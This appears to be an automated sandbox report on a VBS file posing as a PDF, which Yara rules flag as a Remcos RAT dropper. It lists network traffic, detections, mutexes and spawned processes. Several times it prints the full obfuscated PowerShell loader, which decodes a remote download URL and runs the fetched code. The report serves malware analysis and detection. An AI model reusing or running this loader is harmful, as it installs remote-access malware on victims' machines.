Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726

Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.6:49727 version: TLS 1.2

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match

File source: 0000000D.00000002.3219431727.0000000009FA8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_7148.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4416, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7148, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4743
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 4743
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4743	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 4743	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD3455B506	8_2_00007FFD3455B506
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD3455C2B2	8_2_00007FFD3455C2B2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD345516BF	8_2_00007FFD345516BF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34556E5D	8_2_00007FFD34556E5D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1F1F0	11_2_04E1F1F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1FAC0	11_2_04E1FAC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1EEA8	11_2_04E1EEA8

Source: AF85714759_htm#U00b7pdf.vbs

Initial sample: Strings found which are bigger than 50

Source: amsi32_7148.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4416, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7148, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@14/8@3/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Folkeslaget.Opi

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-7CSH4D
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2244:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortgq2c4.ccg.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4416
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7148

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\AF85714759_htm#U00b7pdf.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, ';$Theorize=Sprge 'BiU,is .eStrAn-L A eg,reSunYat H ';$Archaiser=Sprge 'HahFet.ut Dp ss C: A/Ta/ .dLar RiUdvPoeS,.DegRuoF,o og.ylKae K.Foc Mo,rmSj/ReuPacNe?Ase,oxTep.eo TrShtEr=SedSeoK.wVinShlKyoUlaStd,n& BiPedK.= M1 ,-F.zTy0ral M_F 0E MPrGbuUTrlSoc COCy-Br5 TeKoO NlS Z.kq LtKnS LuLilSa5 Su.rzSng nPT.Xl pSihSi_Li ';$Pediococci150=Sprge 'Br>P. ';$Hektoliters=Sprge 'PriHeeAyxUn ';$Koksede='Amar';$Doktordisputatsen = Sprge ',aeMacRuhHao l ,a%B.a.hpHep .dK a DtM,aRe% a\S.FT.oA.lAekMieHes nlExaSeg ,eCrtD.. .O,up,di,y Co&Fo&Fu M,e cDehT oDo Unts. ';Dkvingen (Sprge 'Ve$ ,gnelRuoFabSraPilCe:BeSett .asptA iC o Sn,lcBaaF.r .eDunl =S,( BchomEfdEm De/ Nc , B$I,DefoKekA.turoRerDidBriKls Ap,auCatp,aGatAfs .e CnLe) Z ');Dkvingen (Sprge ' ,$,egDel.ao ,bIna ,lSa: MES n RgdalP eU s rkK a,ir TeKos,a=Va$JuA .r .cFlh ,aUniSks le nrUd. Ds ,pFaljuiS t .( M$UnP .eAndB,i o BcPyo.tc ScFoi P1Sc5 T0 s)Ek ');Dkvingen (Sprge ' y[ NC e ,tPr. iSCaePar.rv.ii.ec .eIlPkoo oi rnRatClM Ta.pnAcaVigSaeRerCh],e:Ek: ASPaeK.c Mu .r PiEntHjy TPGar AoIntQuoVic,uo Vl =In [ N ee ItPr. .SHoe bcCou trMyi HtOmy.iPUdrSkoP.t oVac o elArTKlyOpp HePr],i:Ud:CoTN,lF sNo1 V2 K ');$Archaiser=$Engleskares[0];$Merocele= (Sprge 'F $AngBelSpoExb.naOmlNe:UrB ,fRul FeStnRe=UkN,le owBa-PrOMab.ljUte,rcVetfr F.SA.y nsR tPreInm,e.GrNBoeIntB..ElWFreMybPeCEplUni Be Jn Tt');$Merocele+=$Stationcaren[1];Dkvingen ($Merocele);Dkvingen (Sprge ',o$NuBU.f olSueRen ,.K H,me Ra,odapeNorFos .[ P$StT PhDee Solir.riTuzC e,o]Es=Fi$ OKom ,su.oStrm.gVrsBrf UuR,lSmd.heHarSpe h ');$Kundetilfredshedsgarantiernes=Sprge ' ,$ ABVefDalBieGanem.KiDT,o Fw.nnSul noNua Sd .F KiDa	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Folkeslaget.Opi && echo t"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes labeler Esmeralda Prepious Engleskares Archaiser Dolphinfishes150 Pungi Amar Sjlesorger shopkeeper Nephrostomy Mainframes Raninae Kobberbrylluppet firethorn Smlds outslander Praedikaterne Ublufrdigste Sejlklubbers Amtsskatteinspektoratet Nondecoration235 Topminnow Interveneredes';If (${host}.CurrentCulture) {$Almengjorde++;}Function Sprge($Kalkunernes){$batterdock=$Kalkunernes.Length-$Almengjorde;$Experientialistic='SUBsTRI';$Experientialistic+='ng';For( $Ricabooracker=2;$Ricabooracker -lt $batterdock;$Ricabooracker+=3){$labeler+=$Kalkunernes.$Experientialistic.Invoke( $Ricabooracker, $Almengjorde);}$labeler;}function Dkvingen($Smaaborgerligeres){ & ($Hektoliters) ($Smaaborgerligeres);}$Omsorgsfuldere=Sprge 'B,MSpoInzBaiAmlBal.ua,e/Gu5Mu.He0A .i(,eW ,iBlnIndAroScwP sSk EnN.rTFo 1Di0He.D.0Rn;Sp FiW AiLant 6 r4.e;Bo AdxSu6Gi4Ad;Wi RhrAnvAs:Pl1He2Tr1Mi..r0Su)al GeG LeSkcU.k AoNa/C,2Pe0Fa1Pr0.e0Ot1An0Om1ag InFA,i Fr,ueLafSuoHexb,/Ne1 D2 ,1 U. ,0B, 